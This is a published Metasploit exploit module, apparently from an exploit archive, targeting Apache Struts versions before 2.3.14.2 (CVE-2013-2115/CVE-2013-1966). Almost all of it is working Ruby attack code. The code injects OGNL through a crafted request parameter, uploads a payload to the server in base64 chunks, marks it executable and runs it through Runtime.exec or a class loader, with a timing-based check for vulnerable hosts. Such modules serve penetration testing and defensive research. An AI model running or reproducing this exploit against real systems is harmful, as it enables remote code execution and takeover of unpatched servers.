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Apache Struts includeParams Remote Code Execution

Apache Struts includeParams Remote Code Execution
Posted Jun 2, 2013
Authored by Douglas Rodrigues, Eric Kobrin | Site metasploit.com

This Metasploit module exploits a remote command execution vulnerability in Apache Struts versions prior to 2.3.14.2. A specifically crafted request parameter can be used to inject arbitrary OGNL code into the stack bypassing Struts and OGNL library protections. When targeting an action which requires interaction through GET the payload should be split having into account the uri limits. In this case, if the rendered jsp has more than one point of injection, it could result in payload corruption. It should happen only when the payload is larger than the uri length.

tags | exploit, remote, arbitrary
advisories | CVE-2013-2115, CVE-2013-1966, OSVDB-93645
SHA-256 | b8de09303f34b2ff81911d9ef267d142269251e15e41b38a2fb9e953d6b6f460

Apache Struts includeParams Remote Code Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts includeParams Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache Struts
versions < 2.3.14.2. A specifically crafted request parameter can be used to inject
arbitrary OGNL code into the stack bypassing Struts and OGNL library protections.
When targeting an action which requires interaction through GET the payload should
be split having into account the uri limits. In this case, if the rendered jsp has
more than one point of injection, it could result in payload corruption. It should
happen only when the payload is larger than the uri length.
},
'Author' =>
[
# This vulnerability was also discovered by unknown members of:
# 'Coverity security Research Laboratory'
# 'NSFOCUS Security Team'
'Eric Kobrin', # Vulnerability Discovery
'Douglas Rodrigues', # Vulnerability Discovery
'Richard Hicks <scriptmonkey.blog[at]gmail.com>' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-2115'],
[ 'CVE', '2013-1966'],
[ 'OSVDB', '93645'],
[ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-014'],
[ 'URL', 'http://struts.apache.org/development/2.x/docs/s2-013.html']
],
'Platform' => [ 'win', 'linux', 'java'],
'Privileged' => true,
'Targets' =>
[
['Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
},
]
],
'DisclosureDate' => 'May 24 2013',
'DefaultTarget' => 2))

register_options(
[
Opt::RPORT(8080),
OptString.new('PARAMETER',[ true, 'The parameter to use for the exploit (does not have to be an expected one).',rand_text_alpha_lower(4)]),
OptString.new('TARGETURI', [ true, 'The path to a vulnerable struts application action', "/struts2-blank/example/HelloWorld.action"]),
OptEnum.new('HTTPMETHOD', [ true, 'Which HTTP Method to use, GET or POST','POST', ['GET','POST']]),
OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5])
], self.class)
end

def execute_command(cmd, opts = {})
inject_string = @inject.gsub(/CMD/,cmd)
uri = normalize_uri(target_uri.path)
req_hash = {'uri' => uri, 'version' => '1.1', 'method' => datastore['HTTPMETHOD'] }
case datastore['HTTPMETHOD']
when 'POST'
req_hash.merge!({ 'vars_post' => { datastore['PARAMETER'] => inject_string }})
when 'GET'
req_hash.merge!({ 'vars_get' => { datastore['PARAMETER'] => inject_string }})
end

# Display a nice "progress bar" instead of message spam
case @notify_flag
when 0
print_status("Performing HTTP #{datastore['HTTPMETHOD']} requests to upload payload")
@notify_flag = 1
when 1
print(".") # Progress dots
when 2
print_status("Payload upload complete")
end

return send_request_cgi(req_hash) #Used for check function.
end

def exploit
#initialise some base vars
@inject = "${#_memberAccess[\"allowStaticMethodAccess\"]=true,CMD}"
@java_upload_part_cmd = "#f=new java.io.FileOutputStream('FILENAME',APPEND),#f.write(new sun.misc.BASE64Decoder().decodeBuffer('BUFFER')), #f.close()"
#Set up generic values.
@payload_exe = rand_text_alphanumeric(4+rand(4))
pl_exe = generate_payload_exe
append = false
#Now arch specific...
case target['Platform']
when 'linux'
@payload_exe = "/tmp/#{@payload_exe}"
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))"
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))"
when 'java'
@payload_exe << ".jar"
pl_exe = payload.encoded_jar.pack
exec_cmd = ""
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
exec_cmd << "#q.setAccessible(true),#q.set(null,true),"
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
exec_cmd << "#q.setAccessible(true),#q.set(null,false),"
exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()}),"
exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
when 'windows'
@payload_exe = "./#{@payload_exe}.exe"
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')"
else
fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!')
end

print_status("Preparing payload...")
# Now with all the arch specific stuff set, perform the upload.
# Need to calculate amount to allocate for non-dynamic parts of the URL.
# Fixed strings are tokens used for substitutions.
append_length = append ? "true".length : "false".length # Gets around the boolean/string issue
sub_from_chunk = append_length + ( @java_upload_part_cmd.length - "FILENAME".length - "APPEND".length - "BUFFER".length )
sub_from_chunk += ( @inject.length - "CMD".length ) + @payload_exe.length + normalize_uri(target_uri.path).length + datastore['PARAMETER'].length
case datastore['HTTPMETHOD']
when 'GET'
chunk_length = 2048 - sub_from_chunk # Using the max request length of 2048 for IIS, subtract all the "static" URL items.
#This lets us know the length remaining for our base64'd payloads
chunk_length = ((chunk_length/4).floor)*3
when 'POST'
chunk_length = 65535 # Just set this to an arbitrarily large value, as its a post request we don't care about the size of the URL anymore.
end
@notify_flag = 0
while pl_exe.length > chunk_length
java_upload_part(pl_exe[0,chunk_length],@payload_exe,append)
pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length]
append = true
end
java_upload_part(pl_exe,@payload_exe,append)
execute_command(chmod_cmd) if target['Platform'] == 'linux'
print_line() # new line character, after progress bar.
@notify_flag = 2 # upload is complete, next command we're going to execute the uploaded file.
execute_command(exec_cmd)
register_files_for_cleanup(@payload_exe)
end

def java_upload_part(part, filename, append = false)
cmd = @java_upload_part_cmd.gsub(/FILENAME/,filename)
append = append ? "true" : "false" # converted for the string replacement.
cmd = cmd.gsub!(/APPEND/,append)
cmd = cmd.gsub!(/BUFFER/,Rex::Text.encode_base64(part))
execute_command(cmd)
end

def check
#initialise some base vars
@inject = "${#_memberAccess[\"allowStaticMethodAccess\"]=true,CMD}"
print_status("Performing Check...")
sleep_time = datastore['CHECK_SLEEPTIME']
check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})"
t1 = Time.now
print_status("Asking remote server to sleep for #{sleep_time} seconds")
response = execute_command(check_cmd)
t2 = Time.now
delta = t2 - t1


if response.nil?
return Exploit::CheckCode::Safe
elsif delta < sleep_time
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Appears
end
end

end
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